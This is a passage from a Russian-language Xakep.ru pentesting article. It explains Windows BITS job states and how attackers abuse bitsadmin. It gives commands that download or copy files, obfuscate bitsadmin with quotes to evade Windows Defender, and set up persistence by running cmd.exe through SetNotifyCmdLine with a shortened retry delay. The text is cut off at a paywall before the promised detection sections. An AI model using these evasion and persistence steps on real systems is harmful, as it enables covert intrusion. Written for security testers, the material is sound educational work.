Содержание статьи
- Состояния задач BITS
- Начальное состояние (starting)
- Состояние действия (action)
- Состояния передачи (transferred)
- Окончательные состояния (final)
- Как менять состояния задач
- Эксплуатация BITS
- Создаем задачу для загрузки файла или локального копирования
- Выполняем нагрузку и закрепляемся в системе
- BITS Tamparing
- Скрытие в HTTP-трафике
- Обнаружение
- Журнал подсистемы BITS
- Обнаруживаем создание и завершение задачи
- Создание задачи BITS подозрительным процессом
- Создание дочернего процесса службой BITS
- Обнаружение загрузки DLL
- Создание временного файла
- Ищем аргументы командой строки и командлетов PowerShell
- Обнаружение эксплуатации BITS с помощью Windows Defender
- Выводы
BITS — это сервис, предназначенный для загрузки и отправки файлов на серверы HTTP и SMB. Ключевые возможности BITS:
- автоматическое возобновление передачи файлов при потере сетевого соединения или ошибке;
- возможность менять скорость загрузки с учетом пропускной способности сети и потребностей других приложений.
BITS работает с «заданиями» (job, задача). Задание — это контейнер, который содержит один или несколько файлов для передачи и свойства, которые определяют, как передавать файлы. У каждого задания есть приоритет. Задания с высоким приоритетом обрабатываются быстрее, чем остальные. При создании задачи определяется один из трех типов:
-
BG_JOB_TYPE_DOWNLOAD
— загрузка на локальную систему; -
BG_JOB_TYPE_UPLOAD
— передача на удаленный сервер; -
BG_JOB_TYPE_UPLOAD_REPLY
— передача на сервер и получение файла в ответ.
Состояния задач BITS
Задача BITS может находится в состоянии одного из четырех классов: starting
, action
, transferred
, и final
, которые мы рассмотрим ниже.
Начальное состояние (starting)
Жизненный цикл задания BITS начинается с его создания. Начальное состояние — BG_JOB_STATE_SUSPENDED
(задание BITS приостановлено). В этом состоянии ты можешь добавить файлы в задание и установить его свойства. Для выполнения задания можем выполнить метод Resume
. Если ты решишь выполнить задание без файлов, оно вернет код ошибки BG_E_EMPTY
, и задание останется приостановленным.
Пользователь, который создал задание BITS является его владельцем (пользователь, с привилегиями администратора, может стать владельцем любой задачи). Задача BITS выполняется, когда пользователь авторизован в системе с интерактивным типом входа.
Состояние действия (action)
К этому классу относятся следующие состояния:
-
BG_JOB_STATE_QUEUED
— задание находится в очереди и ждет выполнения. -
BG_JOB_STATE_CONNECTING
— служба BITS пытается подключиться к удаленному серверу. Если соединение успешно, состояние задачи изменится наBG_JOB_STATE_TRANSFERRING
, а в противном случае наBG_JOB_STATE_TRANSIENT_ERROR
. -
BG_JOB_STATE_TRANSFERRING
— BITS передает данные задания. -
BG_JOB_STATE_TRANSIENT_ERROR
— произошла ошибка, после которой передача может быть восстановлена. BITS будет пытаться выполнить задание какое‑то время, а если не выполнится, то состояние изменится наBG_JOB_STATE_ERROR
.
Состояние задания меняется между статусами, пока BITS не передаст все файлы из него. Если задача не выполнится в течение выделенного времени, оно возвращается в состояние BG_JOB_STATE_QUEUED
, и начинается передача из следующего задания.
Состояния передачи (transferred)
Задача переходит в состояние BG_JOB_STATE_TRANSFERRED
(передача данных успешно выполнена), когда файлы переданы. Дальше ты должен либо отменить, либо завершить работу этого задания.
Для успешного выполнения должны быть переданы все файлы, иначе задание завершится ошибкой — BG_JOB_STATE_ERROR
(произошла неисправимая ошибка, служба не может передать файл).
Окончательные состояния (final)
Как только задача перейдет в окончательное состояние, ты не можешь ее изменить. Задание будет в состоянии BG_JOB_STATE_ACKNLEDGED
(подтверждает успешное выполнение задания) после вызова Complete
, и все загруженные файлы будут сохранены. При вызове метода Cancel
операционная система удалит загруженные файлы и состояние задачи перейдет в BG_JOB_STATE_CANCELLED
(задание отменено, удалено из очереди). Задания, которые не перейдут в окончательное состояние, будут автоматически отменены.
Как менять состояния задач
Пока задание не находится в одном из окончательных состояний, ты можешь вызвать любой из четырех методов для его изменения:
- Cancel — используется для отмены задания. Передача файлов будет отменена, а загруженные файлы — удалены.
- Complete — загруженные файлы будут сохранены, а неполностью переданные — удалены.
-
Resume - используется для перевода задания из состояния
BG_JOB_STATE_SUSPENDED
. Задания в состоянииBG_JOB_STATE_ERROR
илиBG_JOB_STATE_TRANSIENT_ERROR
будут заново выполнены. -
Suspend — используется для перевода задания в состояние
BG_JOB_STATE_SUSPENDED
. Задание будет находится в этом состоянии до вызова методаResume
.
Эксплуатация BITS
Для работы с BITS ты можешь использовать утилиту bitsadmin.
, которая позволяет управлять задачами BITS, либо командлетами PowerShell.
После краткого знакомства с BITS у тебя уже должны появиться идеи, как можно эксплуатировать эту службу. В матрице MITRE ATT&CK BITS упоминается в нескольких тактиках:
- Закрепление (Defense Evasion) — T1197 BITS Jobs
- Обход средств защиты и обнаружения (Persistence) — T1197 BITS Jobs
- Контроль и управление (Command and Control) — T1105 Ingress Tool Transfer
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
BITS может позволить хакерам спрятать создание процесса и сетевого соединения за своей службой, впрочем, некоторые EDR и EPP уже обнаруживают такие попытки.
Службу можно запустить вс:
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
При пентесте BITS может пригодиться для разных задач:
- запустить пейлоад или скачать файл, используя процесс службы BITS;
- загрузить файл с удаленного ресурса;
- отправить файл на удаленный ресурс;
- скопировать файл локально;
- закрепиться в системе.
Действия описанные ниже также можно выполнить с помощью командлетов PowerShell:
- Start-BitsTransfer;
- Get-BitsTransfe;
- Suspend-BitsTransfer;
- Resume-BitsTransfer;
- Complete-BitsTransfer;
- Remove-BitsTransfer.
Подробно останавливаться на них мы не будем.
Создаем задачу для загрузки файла или локального копирования
Для создания задачи, которая будет загружать файл с удаленного ресурса можем выполнить команды ниже.
# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks http://example.com/file.txt C:\users\d3f0x0\Downloads\test.txt
# А если для копирования, то
bitsadmin /addfile hacks C:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks
Как ты думаешь, что тебя ждет на этапе добавления локального файла в задачу для копирования? Правильно, Windows Defender начнет ругаться и выдавать сообщение Trojan:
.
Можем по‑быстрому подобрать количество кавычек для обфускации команды, и получим:
b"it"sa"dm"in /addfile hacks c:\Users\qwer\1.txt c:\users\qwer\qwer11.qwer1
Если запустить эту команду, файл все же добавится в задачу, а детект сработает уже после этого.
www
Подробнее про обфускацию cmd/bat можешь почитать в блоге Red Team Notes.
Выполняем нагрузку и закрепляемся в системе
В отличие от предыдущего способа у нас добавляется использование команды для настройки уведомления bitsadmin /
.
# Создаем задачу с именем hacks
bitsadmin /create hacks
# Добавляем файл для загрузки
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1
# Установка уведомления, запуск c:\windows\system32\cmd.exe
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL
# Вызываем задачу, используя метод resume
bitsadmin /resume hacks
# Подтверждаем выполнение задачи
bitsadmin /complete hacks
Давай познакомимся с механизмом уведомлений подробнее. Мы уже знаем, что для его установки используется аргумент SetNotifyCmdLine
. Остался вопрос, когда сработает уведомление. Обратимся к документации, и увидим, что определены четыре типа уведомлений:
-
1 — генерирует событие, когда все файлы в задании были переданы (статус
BG_JOB_STATE_TRANSFERRED
); -
2 — генерирует событие при возникновении ошибки (статус
BG_JOB_STATE_ERROR
); -
3 — генерирует событие, когда все файлы были переданы или при возникновении ошибки (по умолчанию, статус
BG_JOB_STATE_TRANSFERRED
иBG_JOB_STATE_ERROR
); - 4 — отключает уведомление.
Для установки типа уведомлений можешь использовать команду:
bitsadmin /SETNOTIFYFLAGS hacks 1
Установленная для уведомления команда будет дочерним процессом службы BITS. Но нужно помнить, что создание дочерних процессов от svchost.
— не менее подозрительно, чем запуск утилит для работы с BITS. Тем не менее, такой метод может позволить обойти некоторые поведенческие модули.
Куда более редкое применение BITS — это закрепление в системе. Для этого можно использовать все те же команды, что я приводил выше. Дело в том, что если вызванная в рамках уведомления программа не отменила (cancel) или не завершила (complete) задание, BITS снова ее вызовет по истечении минимальной задержки, по умолчанию это 600 секунд. Для изменения значения можем использовать такую команду:
bitsadmin /setminretrydelay hacks 35
После этого BITS будет вызывать уведомление каждые 35 секунд, пока задача не перейдет в финальное состояние.
Возникает вопрос, как долго может работать такая задача? Для этого есть параметр NoProgressTimeout
, значение которого 1209600 секунд (14 дней). Изменить значение можешь такой командой:
bitsadmin /setnoprogresstimeout myDownloadJob 20
В результате ты сможешь закрепиться в системе, если не выполнишь команду bitsadmin /
или bitsadmin /
.
Создаем задачу с именем hacks
:
bitsadmin /create hacks
Добавляем файл для загрузки:
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.qwer1
Установим уведомление и запустим cmd.
:
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL
Вызываем задачу, используя метод resume:
bitsadmin /resume hacks
И, конечно, не подтверждаем или не отменяем выполнение задачи.
BITS Tamparing
Пользователь может просмотреть список своих задач, а локальный администратор — список задач всех пользователей.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»